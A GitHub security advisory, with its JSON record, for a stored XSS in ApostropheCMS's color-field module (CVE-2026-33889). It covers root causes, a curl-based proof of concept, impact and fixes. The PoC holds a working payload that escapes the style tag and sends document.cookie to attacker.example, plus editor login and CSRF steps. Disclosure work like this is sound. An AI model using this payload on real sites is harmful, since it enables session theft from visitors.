GHSA-97V6-998M-FP4G

Vulnerability from github – Published: 2026-04-16 20:42 – Updated: 2026-04-16 20:42
VLAI?
Summary
ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context
Details

Summary

The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.

Details

Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)

The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:

// modules/@apostrophecms/color-field/index.js:26-38
async convert(req, field, data, destination) {
  destination[field.name] = self.apos.launder.string(data[field.name]);
  // ...
  const test = new TinyColor(destination[field.name]);
  if (!test.isValid && !destination[field.name].startsWith('--')) {
    destination[field.name] = null;
  }
},

A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.

Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)

The getWidgetElements() method concatenates the CSS string directly into a <style> tag:

// modules/@apostrophecms/styles/lib/methods.js:232-234
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).

Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)

The renderNodes() function returns node.raw without escaping:

// modules/@apostrophecms/template/index.js:1164-1165
if (node.raw != null) {
  return node.raw;
}

Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.

PoC

Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.

Step 1: Authenticate and obtain a CSRF token and session cookie.

# Login as editor
COOKIE_JAR=$(mktemp)
curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"editor123"}'

# Extract CSRF token
CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

Step 2: Create or update a piece/page with a malicious color value in a styled widget.

The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):

# Inject XSS payload via color field in widget styles
# The --x prefix bypasses TinyColor validation
PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>'

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page" \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $CSRF" \
  -d '{
    "slug": "/xss-test",
    "title": "Test Page",
    "type": "default-page",
    "main": {
      "items": [{
        "type": "some-widget",
        "styles": {
          "backgroundColor": "'"$PAYLOAD"'"
        }
      }]
    }
  }'

Step 3: Publish the page.

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \
  -H "X-XSRF-TOKEN: $CSRF"

Step 4: Any visitor navigates to the published page.

# As an unauthenticated visitor
curl -s http://localhost:3000/xss-test | grep -A2 'onerror'

Expected (safe): The color value is escaped or rejected.

Actual: The rendered HTML contains:

<style data-apos-widget-style-for="..." data-apos-widget-style-id="...">
.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; }
</style>

The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.

Impact

  • Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.
  • Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.
  • Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.
  • No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.

Recommended Fix

Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):

// Before (line 36):
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
}

// After:
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
} else if (destination[field.name].startsWith('--')) {
  // CSS custom property names: only allow alphanumeric, hyphens, underscores
  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {
    destination[field.name] = null;
  }
}

Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):

// Before (line 232-234):
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

// After:
const sanitizedCss = css.replace(/<\//g, '<\\/');
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  sanitizedCss +
  '\n</style>';

Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:42:37Z",
    "nvd_published_at": "2026-04-15T20:16:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `\u003cstyle\u003e` tags \u2014 both in the global stylesheet (editors only) and in per-widget style elements (all visitors) \u2014 the lack of escaping allows an editor to inject `\u003c/style\u003e` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field\u0027s `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n  destination[field.name] = self.apos.launder.string(data[field.name]);\n  // ...\n  const test = new TinyColor(destination[field.name]);\n  if (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n    destination[field.name] = null;\n  }\n},\n```\n\nA value like `--x: red}\u003c/style\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003cstyle\u003e` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only \u2014 it does not strip HTML metacharacters like `\u003c`, `\u003e`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `\u003cstyle\u003e` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  \u0027\\n\u003c/style\u003e\u0027;\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n  return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"editor\",\"password\":\"editor123\"}\u0027\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o \u0027\"csrfToken\":\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site\u0027s widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD=\u0027--x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e\u0027\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\" \\\n  -d \u0027{\n    \"slug\": \"/xss-test\",\n    \"title\": \"Test Page\",\n    \"type\": \"default-page\",\n    \"main\": {\n      \"items\": [{\n        \"type\": \"some-widget\",\n        \"styles\": {\n          \"backgroundColor\": \"\u0027\"$PAYLOAD\"\u0027\"\n        }\n      }]\n    }\n  }\u0027\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 \u0027onerror\u0027\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n\u003cstyle data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\"\u003e\n.apos-widget-style-... { background-color: --x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e; }\n\u003c/style\u003e\n```\n\nThe injected `\u003c/style\u003e` closes the style tag, and the `\u003cimg onerror\u003e` executes JavaScript in the visitor\u0027s browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site\u0027s entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field\u0027s `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n  destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n  destination[field.name] = null;\n} else if (destination[field.name].startsWith(\u0027--\u0027)) {\n  // CSS custom property names: only allow alphanumeric, hyphens, underscores\n  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n    destination[field.name] = null;\n  }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  \u0027\\n\u003c/style\u003e\u0027;\n\n// After:\nconst sanitizedCss = css.replace(/\u003c\\//g, \u0027\u003c\\\\/\u0027);\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  sanitizedCss +\n  \u0027\\n\u003c/style\u003e\u0027;\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).",
  "id": "GHSA-97v6-998m-fp4g",
  "modified": "2026-04-16T20:42:37Z",
  "published": "2026-04-16T20:42:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…